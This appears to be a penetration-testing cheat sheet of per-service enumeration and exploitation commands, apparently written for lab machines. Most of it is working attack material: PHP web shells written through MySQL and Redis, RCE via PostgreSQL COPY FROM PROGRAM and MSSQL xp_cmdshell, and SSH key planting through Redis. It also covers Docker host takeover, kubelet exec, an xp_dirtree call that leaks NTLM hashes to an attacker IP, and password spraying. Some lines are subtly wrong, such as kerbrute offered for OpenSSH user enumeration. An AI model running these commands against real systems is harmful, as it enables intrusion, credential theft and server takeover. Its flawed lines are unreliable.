Service Enum
Sections Service Enum
Per-service enum after 01 Recon & Enum gave you open ports. Each section assumes you set $T and the port. Web (80, 443, 8080, 8443) goes to 00 Linux MOC
T=10.10.11.50
i. FTP (21)
nmap -p21 -sCV --script="ftp-anon,ftp-syst,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221" "$T"
ftp -nv "$T" <<<$'user anonymous anonymous\nls -la\nquit'
What to check: anonymous login, writable directory, version banner (vsftpd 2.3.4 = backdoor CVE-2011-2523, ProFTPD 1.3.5 = mod_copy CVE-2015-3306).
Bulk download if anon read works:
wget -m --no-passive ftp://anonymous:anonymous@"$T"
ii. SSH (22)
nmap -p22 -sCV --script="ssh2-enum-algos,ssh-auth-methods,ssh-hostkey" "$T"
ssh-audit "$T"
Look at ssh-auth-methods output. If password auth is enabled, spray (see Password Cracking
for online brute force tools).
User enum on OpenSSH < 7.7 (CVE-2018-15473):
kerbrute userenum -d "" --dc "$T" users.txt ## for OpenSSH user enum, use a dedicated tool like sshprobe
Username enumeration via timing on old OpenSSH:
nmap --script ssh-publickey-acceptance --script-args ssh.usernames='{"root","admin"}' -p22 "$T"
iii. DNS (53)
nmap -p53 -sCV --script="dns-recursion,dns-cache-snoop" "$T"
dig @"$T" version.bind chaos txt
dig @"$T" any target.htb
Zone transfer (AXFR), full DNS dump if misconfigured:
dig @"$T" target.htb axfr
Subdomain brute when you control the DNS server:
dnsenum --dnsserver "$T" target.htb
iv. SMTP (25, 465, 587)
nmap -p25,465,587 -sCV --script="smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344" "$T"
nc -nv "$T" 25
## Manual:
## HELO x
## VRFY root
## EXPN admin
User enum (VRFY/EXPN/RCPT), useful for spraying:
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t "$T"
smtp-user-enum -M RCPT -U users.txt -t "$T"
Open relay check:
nmap -p25 --script smtp-open-relay "$T"
v. POP3 / IMAP (110, 143, 993, 995)
nmap -p110,143,993,995 -sCV --script="pop3-capabilities,imap-capabilities" "$T"
Login if you have creds:
curl "imap://$T" -u 'user:pass'
curl "imaps://$T" -u 'user:pass'
## List folders, read mail
curl "imaps://$T/INBOX" -u 'user:pass' -X 'FETCH 1 BODY[]'
vi. SMB (139, 445)
nmap -p139,445 -sCV --script="smb-os-discovery,smb-enum-shares,smb-enum-users,smb-vuln*" "$T"
enum4linux-ng -A "$T"
Anonymous share listing:
smbclient -L "//$T" -N
smbmap -H "$T" -u '' -p ''
nxc smb "$T" --shares -u '' -p ''
With creds:
nxc smb "$T" -u "$USER" -p "$PASS" --shares --users --groups --pass-pol
smbmap -H "$T" -u "$USER" -p "$PASS"
smbclient "//$T/share" -U "$USER%$PASS"
Pull everything from a share:
smbget -R "smb://$T/share" -U "$USER%$PASS"
RID cycling (works against null sessions on old boxes):
nxc smb "$T" -u '' -p '' --rid-brute 10000
impacket-lookupsid '@'"$T"
SMBv1-only boxes are often EternalBlue territory (MS17-010). nmap -p445 --script smb-vuln-ms17-010 first. SMBv3 boxes can be hit with SMBGhost (CVE-2020-0796) on unpatched Win10 1903/1909.
vii. SNMP (161, 162 UDP)
nmap -sU -p161 -sCV --script="snmp-info,snmp-processes,snmp-win32-shares,snmp-win32-software,snmp-netstat" "$T"
snmpwalk -v2c -c public "$T"
snmpwalk -v1 -c public "$T" 1.3.6.1.2.1.25.4.2.1.2 ## process list
snmpwalk -v1 -c public "$T" 1.3.6.1.4.1.77.1.2.25 ## Windows users
Brute community strings:
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt "$T"
viii. LDAP (389, 636)
See LDAP . Quick first-pass:
nmap -p389,636 -sCV --script="ldap-search,ldap-rootdse" "$T"
ldapsearch -x -H "ldap://$T" -s base namingcontexts
ix. RPC / portmapper (111, 135)
Linux RPC:
rpcinfo -p "$T"
nmap -p111 -sCV --script="rpcinfo,nfs-showmount,nfs-ls" "$T"
Windows RPC endpoint mapper:
nmap -p135 -sCV --script="msrpc-enum" "$T"
impacket-rpcdump "$T"
x. NFS (2049)
showmount -e "$T"
nmap -p2049 --script="nfs-showmount,nfs-ls,nfs-statfs" "$T"
Mount and check:
sudo mkdir -p /mnt/nfs
sudo mount -t nfs "$T":/export /mnt/nfs -o nolock
ls -la /mnt/nfs
If /etc/exports has no_root_squash, you can drop a SUID binary as root from your attacker box, then exec it as any local user on target for instant root. See 04 Initial Access
-> NFS.
xi. MySQL (3306)
nmap -p3306 -sCV --script="mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-vuln-cve2012-2122" "$T"
mysql -h "$T" -u root ## empty password test
mysql -h "$T" -u root -p'password'
After login:
show databases;
use $db; show tables; select * from users;
select @@version, user(), current_user(), @@hostname, @@datadir;
select load_file('/etc/passwd');
select '<?php system($_GET[0]); ?>' into outfile '/var/www/html/sh.php';
UDF privesc if you have FILE priv, see 10 PrivEsc - Kernel & Exploits .
xii. PostgreSQL (5432)
nmap -p5432 -sCV --script="pgsql-brute" "$T"
psql -h "$T" -U postgres -W ## default postgres:postgres often
After login, RCE via COPY FROM PROGRAM (PG >= 9.3):
DROP TABLE IF EXISTS sh; CREATE TABLE sh(x TEXT);
COPY sh FROM PROGRAM 'id';
SELECT * FROM sh;
xiii. MSSQL (1433)
nmap -p1433 -sCV --script="ms-sql-info,ms-sql-empty-password,ms-sql-config,ms-sql-ntlm-info" "$T"
impacket-mssqlclient "$USER":"$PASS"@"$T" -windows-auth
nxc mssql "$T" -u "$USER" -p "$PASS"
After login, xp_cmdshell for RCE:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Trigger NetNTLMv2 hash for relay/cracking:
EXEC xp_dirtree '\\10.10.14.1\share\anything', 1, 1;
xiv. MongoDB (27017)
nmap -p27017 -sCV --script="mongodb-info,mongodb-databases" "$T"
mongosh "mongodb://$T:27017"
## In shell:
show dbs
use admin; show collections; db.users.find()
xv. Redis (6379)
nmap -p6379 -sCV --script="redis-info,redis-brute" "$T"
redis-cli -h "$T"
## With auth:
redis-cli -h "$T" -a "$PASS"
After login, common foothold paths:
CONFIG GET dir
CONFIG SET dir /var/www/html
CONFIG SET dbfilename sh.php
SET x "<?php system($_GET[0]); ?>"
SAVE
Or write SSH key to authorized_keys when redis user has a writable home:
(echo; cat ~/.ssh/id_rsa.pub; echo) > k.txt
redis-cli -h "$T" flushall
cat k.txt | redis-cli -h "$T" -x set k
redis-cli -h "$T" config set dir /var/lib/redis/.ssh
redis-cli -h "$T" config set dbfilename authorized_keys
redis-cli -h "$T" save
xvi. VNC (5900-5910)
nmap -p5900-5910 -sCV --script="vnc-info,realvnc-auth-bypass" "$T"
vncviewer "$T"
xvii. Docker API (2375, 2376)
Exposed Docker socket = instant root.
curl -s "http://$T:2375/version"
docker -H "tcp://$T:2375" images
docker -H "tcp://$T:2375" run -v /:/host -it alpine chroot /host bash
xviii. Kubernetes API (6443, 8443, 10250)
curl -sk "https://$T:6443/api/v1/namespaces" ## anonymous read
curl -sk "https://$T:10250/pods" ## kubelet read-only
Exec into a container via exposed kubelet:
curl -sk -X POST "https://$T:10250/run/<ns>/<pod>/<container>" -d 'cmd=id'
xix. rsync (873)
nmap -p873 -sCV --script="rsync-list-modules" "$T"
rsync rsync://"$T"/
rsync rsync://"$T"/share/ list
rsync -av rsync://"$T"/share/ ./loot/
xx. Elastic (9200) / Kibana (5601)
curl "http://$T:9200/_cat/indices?v"
curl "http://$T:9200/_search?pretty&size=100"
xxi. Kerberos (88)
User enum without creds:
kerbrute userenum -d corp.local --dc "$T" /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
Password spray:
kerbrute passwordspray -d corp.local --dc "$T" users.txt 'Winter2024!'
AS-REP roast users without PreAuth:
impacket-GetNPUsers corp.local/ -dc-ip "$T" -usersfile users.txt -format hashcat -outputfile asrep.hash